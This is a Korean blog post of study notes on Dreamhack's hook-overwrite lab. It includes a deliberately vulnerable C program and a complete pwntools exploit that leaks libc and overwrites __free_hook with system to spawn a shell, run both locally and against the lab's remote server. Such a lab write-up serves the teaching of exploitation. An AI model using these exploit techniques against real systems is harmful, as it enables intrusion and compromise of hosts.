본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 7 - 함께실습

by 단월໒꒱ 2022. 2. 10.

[함께실습] Hook Overwrite

 - malloc과 free 함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 기법

1. 메모리 함수 훅

 1) malloc, free, realloc hook

   - C언어에서 메모리의 동적 할당과 해제를 담당하는 대표적인 함수 : malloc, free, realloc

   - 각 함수는 libc.so에 구현되어 있음

 

 

 

 

   - libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있음

     ex. malloc 함수 : __malloc_hook 변수의 값이 NULL이 아닌지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행함. (이때, malloc의 인자는 훅 함수에 전달됨)

           free 함수 : 같은 방식으로  __free_hook이라는 훅 변수를 사용

           realloc 함수 : 같은 방식으로 __realloc_hook이라는 훅 변수를 사용

 

 2) 훅의 위치와 권환

   - __malloc_hook, __free_hook, __realloc_hook은 libc.so에 정의되어 있음

 

 

 

 

   - 이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28

 

 

 

 

   - 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함되어 있음

   - bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있음

 

 3) Hook Overwrite

   - malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하며, libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능

   - 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc(“/bin/sh”)을 호출하여 셸을 획득하는 등의 공격이 가능

   - Full RELRO가 적용된 바이너리에도 라이브러리의 훅에는 쓰기 권한이 남아있기 때문에 이 공격을 고려할 수 있음

 

 

2. Free Hook Overwrite

 1) Free Hook Overwrite

   - free 함수의 훅을 덮는 공격을 실습 예정

   - 예제 코드

 

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

 

 2) 분석

   ① 보호 기법

     - checksec을 이용하여 보호기법 확인

 

 

 

 

   ② 코드 분석

 

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

 

     - 매우 큰 스택 버퍼 오버플로우 발생

     - 알고 있는 정보가 없으므로 카나리를 올바르게 덮을 수 없고 반환 주소도 유의미한 값을 조작 불가

     - 스택에 있는 데이터를 읽는 데 사용할 수 있을 것

 

 

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

 

     - 주소를 입력하고 그 주소에 임의의 값을 쓸 수 있음

 

 

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

 

     - 주소를 입력하고 그 주소의 메모리를 해제할 수 있음

 

   ③ 공격 수단

     - 공격자는 다음 세 가지 수단(Primitive)을 이용하여 셸을 획득해야 합니다.

        [1] 스택의 어떤 값을 읽을 수 있다.
        [2] 임의의 주소에 임의의 값을 쓸 수 있다.
        [3] 임의의 주소를 해제할 수 있다.

 

 3) 설계

   ① 라이브러리의 변수 빛 함수들의 주소 구하기

     - __free_hook, system 함수, “/bin/sh” 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 이들의 주소를 계산할 수 있음

     - [1]을 이용하면 스택의 값을 읽을 수 있음 (스택에는 libc의 주소가 있을 가능성이 매우 큼)

     - 특히, main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있을 것

 

 

 

 

     - bt : 오류가 발생한 함수를 역으로 찾아간다.

    

   ② 셸 획득

     - [2]에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 “/bin/sh”를 해제하게 하면 system(“/bin/sh”)가 호출되어 셸 획득 가능

 

 4) 익스플로잇

   ① 라이브러리의 변수 빛 함수들의 주소 구하기

      - 반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 예정

      - gdb로 main 함수의 반환 주소인 libc_start_main을 읽은 후, 그 값에서 libc의 매핑 주소를 빼면 libc와 반환 주소의 오프셋을 구할 수 있음 (2가지 주소는 모두 libc에 함께 매핑되어있는 주소이기 때문)

      - 익스플로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있음

 

#!/usr/bin/python3
# Name: fho.py

from pwn import *

p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)

 

 

 

   ② 셸 획득

      - 구해낸 __free_hook, system 함수, ”/bin/sh” 문자열의 주소를 이용하면 셸 획득 가능

 

# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()

 

 

 

<익스플로잇 전체 코드>

 

#!/usr/bin/python3
# Name: fho.py

from pwn import *

p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)

# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))

# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

 

3. +α, one_gadget

 1) one_gadget (magic_gadget)

   - 실행하면 셸이 획득되는 코드 뭉치

   - 함수에 인자를 전달하기 어려울 때 유용하게 사용 가능

     ex. __malloc_hook을 덮을 수 있는데, malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면 "/bin/sh"를 인자로 전달하기가 매우 어려움 -> 이럴 때 제약 조건을 만족하는 one_gadget이 존재한다면 이를 호출해서 셸 획득이 가능해짐

 

 

 

 

 

[Hook Overwrite wargame]

 

 

코드는 이전 이론 정리에서 했는 내용과 같다.

따라서 자세한 설명은 생략하고 위에서 공부한 내용에 따라 코드를 작성해주었다.

코드는 이전 단계에서 사용했던 익스플로잇 코드를 살짝 변형하고 드림핵 포트와 접속시켜주었다.

 

 

from pwn import *

p = remote("host1.dreamhack.games", 17959) 

e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)

# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))

# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

 

 

위의 코드대로 py 파일을 작성하고 실행했다.

 

 

 

 

무사히 셸을 획득하여, ls로 파일을 확인한 뒤 cat으로 flag의 내용을 확인할 수 있었다.

 

 

 

 

[함께실습] 클리어

 

 

댓글